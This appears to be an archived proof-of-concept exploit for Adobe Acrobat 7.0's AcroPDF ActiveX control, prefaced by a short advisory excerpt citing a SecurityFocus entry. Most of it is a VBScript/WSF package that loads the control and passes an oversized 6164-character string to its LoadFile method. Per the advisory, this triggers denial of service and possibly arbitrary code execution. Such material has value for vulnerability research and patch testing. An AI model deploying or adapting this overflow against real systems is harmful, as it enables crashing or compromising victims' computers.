source: https://www.securityfocus.com/bid/21155/info Adobe Acrobat is prone to multiple vulnerabilities. These errors have been confirmed to occur when Reader is invoked by Internet Explorer; other occurrences may exist. Attackers can exploit these issues to cause denial-of-service conditions on a victim computer. The vendor has confirmed that one of these issues may lead to arbitrary code execution. <?XML version='1.0' standalone='yes' ?> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:CA8A9780-280D-11CF-A24D-444553540000' id='target' /> <script language='vbscript'> targetFile = "C:\Program Files\Adobe\Acrobat 7.0\ActiveX\AcroPDF.dll" prototype = "Function LoadFile ( ByVal fileName As String ) As Boolean" memberName = "LoadFile" progid = "AcroPDFLib.AcroPDF" argCount = 1 arg1=String(6164, "A") target.LoadFile arg1 </script></job></package>